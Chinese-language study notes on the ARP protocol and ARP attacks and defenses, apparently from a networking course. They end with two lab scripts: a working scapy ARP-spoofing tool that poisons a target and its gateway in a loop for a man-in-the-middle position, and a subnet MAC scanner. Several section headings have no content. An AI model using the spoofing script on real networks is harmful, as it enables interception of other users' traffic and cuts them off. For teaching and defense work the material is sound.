1、什麼是ARP
將IP地址解析爲以太網MAC地址(物理地址)的協議
1.1、爲什麼既要有IP地址又要有MAC地址?
IP地址表達的是當前機器在網絡中的位置,類似於城市名+道路號+門牌號的概念。通過ip層的尋址,我們能知道按何種路徑在全世界任意兩臺Internet上的的機器間傳輸數據。
MAC地址的設計不攜帶設備在網絡中的位置信息,通常是不變的。
由於歷史原因,早期只有鏈路層和物理層。
1.2、ARP協議屬於網絡層還是鏈路層?
從功能來看,ARP協議是爲了獲取到MAC信息,服務於鏈路層;從包類型來看,它與IP協議都有各自的type類型,一個是0x0806,一個是0x0800,和IP協議平起平坐,屬於網絡層
2、ARP幀格式
2.1、ARP的工作原理
2.2、•爲什麼需要ARP高速緩存?
發送端往往需要有多個IP數據包發送到同一目的端。如果每次都使用ARP協議,開銷很大。
2.3、ARP高速緩存
1)動態ARP表 ARP協議自動生成和維護,可以被老化
2)靜態ARP表 手工配置和維護,不會被老化
1)動態條目隨時間推移自動添加和刪除
2)靜態條目一直保留在ARP緩存中,永久生效,
2.4、ARP常用命令
2.5、代理ARP
ARP請求從一個網絡的主機發往另一個網絡,具有代理ARP功能的設備回答該請求,屏蔽了分離的物理網絡。
2.6、免費ARP
一個發往自己IP地址的ARP請求。
免費ARP有兩個作用:
3、ARP協議攻擊
3.1、漏洞的根源:
3.2、ARP欺騙攻擊—僞造網關
攻擊者發送僞造的網關ARP報文,欺騙同網段內的其他主機。
主機訪問網關的流量,被重定向到一個錯誤的MAC地址,導致該用戶無法正常訪問外網。
3.3、ARP欺騙攻擊—欺騙網關
攻擊者僞造虛假的ARP報文,欺騙網關。
網關發給該用戶的所有數據全部重定向到一個錯誤的MAC地址,導致該用戶無法正常訪問外網。
3.4、ARP欺騙攻擊—欺騙終端用戶
攻擊者僞造虛假的ARP報文。欺騙相同網段內的其他主機。
網段內的其他主機發給該用戶的所有數據都被重定向到錯誤的MAC地址,同網段內的用戶無法正常互訪。
3.5、ARP泛洪攻擊
攻擊者僞造大量不同ARP報文在同網段內進行廣播,導致網關ARP表項被佔滿,合法用戶的ARP表項無法正常學習,導致合法用戶無法正常訪問外網。
4、ARP攻擊防禦
4.1、網關防禦
4.2、接入設備防禦
4.3、客戶端防禦
常見技術
4.4、認證防禦模式
通過增強用戶的認證機制來獲取上線用戶的IP-MAC對應關係,並且利用認證手段來確認當前用戶的合法性。從而有效的解決難以獲取合法用戶的 IP-MAC對應關係的問題。同時通過事先在認證服務器上配置網關的IP-MAC對應關係的方式來幾種管理網絡中存在的網關的IP-MAC信息。當合法用戶上線時,可以利用上述的兩個關鍵信息對網絡中存在的虛假ARP報文以過濾或者綁定合法的ARP信息,從而有效的防禦ARP欺騙行爲。
5、ARP限速
開啓某個端口的ARP報文限速功能後,交換機對每秒內該端口接收的ARP報文數量進行統計,如果每秒收到的ARP報文數量超過設定值,則認爲該端口處於超速狀態(即收到ARP報文攻擊)。此時,交換機將關閉改端口,使其不再接受任何報文,從而避免大量ARP報文攻擊設備。同時設備支持配置端口狀態自動恢復功能,對於配置了ARP限速功能的端口,在其因超速而被交換機關閉後,經過一段時間自動恢復爲開啓狀態。
6、RARP協議
實驗一、arpAttck.py
import threading # 多線程
import time # 和時間相關的模塊
from scapy.all import get_if_hwaddr, sendp # sendp方法在第二層發送數據包 get_if_hwaddr方法獲取指定網卡的mac地址
from scapy.layers.l2 import getmacbyip,ARP, Ether # Ether用來構建以太網數據包 ARP是構建ARP數據包的類 getmacbyip方法用於通過ip獲取mac地址
from optparse import OptionParser #選項模塊
import arpScanner
def get_mac(tgt_ip):
'''
調用scapy的getmacbyip函數,獲取攻擊目標IP的MAC地址。
'''
tgt_mac = getmacbyip(tgt_ip)
if tgt_mac is not None:
return tgt_mac
else:
print("無法獲取IP爲:%s 主機的MAC地址,請檢查目標IP是否存活" % tgt_ip)
def create_arp_station(srcMac, targetMac, gatewayIp, targetIp):
'''
生成ARP數據包,僞造網關欺騙目標計算機
srcMac :本機的MAC地址,充當中間人
targetMac:目標計算機的MAC
gatewayIp:網關的IP,將發往網關的數據指向本機(中間人),形成ARP攻擊
targetIp:目標計算機的IP
op=is-at,表示ARP響應
'''
eth = Ether(src=srcMac, dst=targetMac)
arp = ARP(hwsrc=srcMac, psrc=gatewayIp, hwdst=targetMac, pdst=targetIp, op="is-at")
pkt = eth / arp
return pkt
def create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp):
'''
生成ARP數據包,僞造目標計算機欺騙網關
srcMac:本機的MAC地址,充當中間人
gatewayMac:網關的MAC
targetIp:目標計算機的IP,將網關發往目標計算機的數據指向本機(中間人),形成ARP攻擊
gatewayIp:網關的IP
op=is-at,表示ARP響應
'''
eth = Ether(src=srcMac, dst=gatewayMac)
arp = ARP(hwsrc=srcMac, psrc=targetIp, hwdst=gatewayMac, pdst=gatewayIp, op="is-at")
pkt = eth / arp
return pkt
def main():
"""
主方法
"""
usage = "Usage: %proc -sm <src_mac> -t <target_ip> -tm <target_mac> -g <gateway_ip> -gm <gateway_mac> -i <interface> -a <all_arp>"
parser = OptionParser(usage=usage)
parser.add_option("-s","--srcmac", type="string", dest="srcmac", help="發送源計算機的MAC,如果不提供,默認將採用本機的MAC地址")
parser.add_option("-t", "--targetip", type="string", dest="targetip",default = "192.168.21.", help="指定目標計算機IP")
parser.add_option("-v","--targetmac", type="string", dest="targetmac", help="指定目標計算機MAC,如果不提供,默認將根據其IP獲取MAC地址")
parser.add_option("-g","--gatewayip", type="string", dest="gatewayip", default = "192.168.21.1", help="指定網關IP")
parser.add_option("-y","--gatewaymac", type="string", dest="gatewaymac", default = "80:e8:6f:3a:8e:d4", help="指定網關MAC,如果不提供,默認將根據其IP獲取MAC地址")
parser.add_option("-i","--interface", type="string", dest="interface", help="指定使用的網卡")
(options, args) = parser.parse_args()
targetIp = options.targetip
gatewayIp = options.gatewayip
srcMac = options.srcmac
targetMac = options.targetmac
gatewayMac = options.gatewaymac
interface = options.interface
if targetIp is None or gatewayIp is None:
print("targetip and gatewayip is necessary!")
return
if targetMac is None:
targetMac = arpScanner.sweep(targetIp)
print("目標計算機IP地址:", targetIp, ", 目標計算機MAC地址: " , targetMac)
if gatewayMac is None:
gatewayMac = arpScanner.sweep(gatewayIp)
print("網關IP地址:", gatewayIp, ", 網關MAC地址: ", gatewayMac)
input('按任意鍵繼續:')
pktStation = create_arp_station(srcMac, targetMac, gatewayIp, targetIp)
pktGateway = create_arp_gateway(srcMac, gatewayMac, targetIp, gatewayIp)
i = 1
while True:
t = threading.Thread(
target=sendp,
args=(pktStation,),
kwargs={'inter': 1, 'iface': interface}#創建進程
)
t.start()
t.join()
print(str(i) + " [*]發送一個計算機ARP欺騙包")
s = threading.Thread(
target=sendp,
args=(pktGateway,),
kwargs={'inter': 1, 'iface': interface}
)
s.start()
s.join()
print(str(i) + " [*]發送一個網關ARP欺騙包")
i += 1
time.sleep(1)
if __name__ == '__main__':
main()
實驗二、arpScanner.py
#!python3
#coding=utf-8
from scapy.all import * #最重要的模塊
from threading import Thread #多線程模塊,加快掃描速度
from optparse import OptionParser #選項模塊
from scapy.layers.l2 import Ether, ARP
def sweep(ip, showPackage=0):
"""
通過ip找到對應的MAC地址
"""
try:
pakt=Ether(dst="ff:ff:ff:ff:ff:ff",src="f4:8e:38:af:73:a5")/ARP(hwsrc="f4:8e:38:af:73:a5",psrc="10.10.40.49",hwdst="00:00:00:00:00:00",pdst=ip)#構造一個arp包
result=srp1(pakt,timeout=1,verbose=0)#定義發送的模式 sr爲三層的包 srp爲只發不收
if result:
time.sleep(0.1)#延遲0.1
print(result[ARP].psrc, "----------->", result[ARP].hwsrc)
if showPackage == 1:
print("send package:")
hexdump(pakt);
print("receive package:")
hexdump(result)
return result[ARP].hwsrc
except:
return None
def main():
"""
主方法
遍歷整個子網的ip地址,發現對應的mac地址
"""
usage="Usage: %proc -i <ip address>"
parser=OptionParser(usage=usage)
parser.add_option("-i","--ip",type="string",dest="address",default='192.168.21.252',help="specify the IP address")
(options, args)=parser.parse_args()
print(options)
print(args)
address = options.address
if address.endswith(".0"):
prefix=address.split(".")[0]+"."+address.split(".")[1]+"."+address.split(".")[2]+"."#分割ip地址
for i in range(1,255):
ip=prefix+str(i)
t=Thread(target=sweep,args=(ip,))
t.start()
else :
ip = address
t = Thread(target=sweep, args=(ip,1))
t.start()
if __name__ == '__main__':
main()
感謝:wangyh